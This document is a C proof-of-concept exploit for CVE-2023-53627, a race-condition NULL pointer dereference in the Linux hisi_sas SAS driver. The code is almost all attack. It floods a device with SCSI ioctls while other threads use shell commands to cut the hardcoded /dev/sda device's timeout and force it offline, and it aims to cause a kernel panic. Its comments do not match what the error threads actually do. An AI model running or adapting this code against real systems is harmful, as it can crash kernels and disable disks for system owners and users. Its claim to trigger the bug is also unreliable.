CVE-2023-53627 Linux内核hisi_sas驱动空指针解引用漏洞

// CVE-2023-53627 PoC - Trigger NULL pointer dereference via race condition // This PoC demonstrates how to trigger the race condition in hisi_sas driver // by generating concurrent SCSI errors while I/O operations are completing. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #include <sys/ioctl.h> #include <scsi/sg.h> #include <scsi/scsi.h> #define NUM_THREADS 64 #define NUM_OPERATIONS 1000 // Thread function to generate heavy SCSI I/O on a SAS device void* io_stress_thread(void* arg) { char* device = (char*)arg; int fd; fd = open(device, O_RDWR); if (fd < 0) { perror("open"); return NULL; } // Issue continuous I/O to trigger slot completion and error handling for (int i = 0; i < NUM_OPERATIONS; i++) { unsigned char sense_buffer[32]; sg_io_hdr_t io_hdr; memset(&io_hdr, 0, sizeof(sg_io_hdr_t)); memset(sense_buffer, 0, sizeof(sense_buffer)); // Send TUR (Test Unit Ready) command to generate I/O activity unsigned char cmd[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; io_hdr.interface_id = 'S'; io_hdr.cmd_len = 6; io_hdr.mx_sb_len = sizeof(sense_buffer); io_hdr.dxfer_direction = SG_DXFER_NONE; io_hdr.cmdp = cmd; io_hdr.sbp = sense_buffer; io_hdr.timeout = 5000; ioctl(fd, SG_IO, &io_hdr); } close(fd); return NULL; } // Thread function to simulate device removal/error to trigger error handler void* trigger_errors_thread(void* arg) { // Repeatedly trigger SCSI error handling path // by writing to error injection sysfs or removing/adding devices for (int i = 0; i < NUM_OPERATIONS; i++) { // Trigger SCSI error recovery by accessing non-existent LUN system("echo 1 > /sys/block/sda/device/timeout"); system("echo offline > /sys/block/sda/device/state 2>/dev/null"); usleep(100); } return NULL; } int main(int argc, char* argv[]) { pthread_t threads[NUM_THREADS]; if (argc < 2) { fprintf(stderr, "Usage: %s <scsi_device>\n", argv[0]); fprintf(stderr, "Example: %s /dev/sda\n", argv[0]); return 1; } printf("CVE-2023-53627 - hisi_sas NULL pointer dereference PoC\n"); printf("Target device: %s\n", argv[1]); printf("Starting race condition trigger...\n"); // Create threads to generate concurrent I/O and error conditions for (int i = 0; i < NUM_THREADS / 2; i++) { pthread_create(&threads[i], NULL, io_stress_thread, argv[1]); } for (int i = NUM_THREADS / 2; i < NUM_THREADS; i++) { pthread_create(&threads[i], NULL, trigger_errors_thread, NULL); } // Wait for all threads to complete for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("Race condition trigger completed.\n"); printf("Check dmesg for kernel panic or NULL pointer dereference.\n"); return 0; }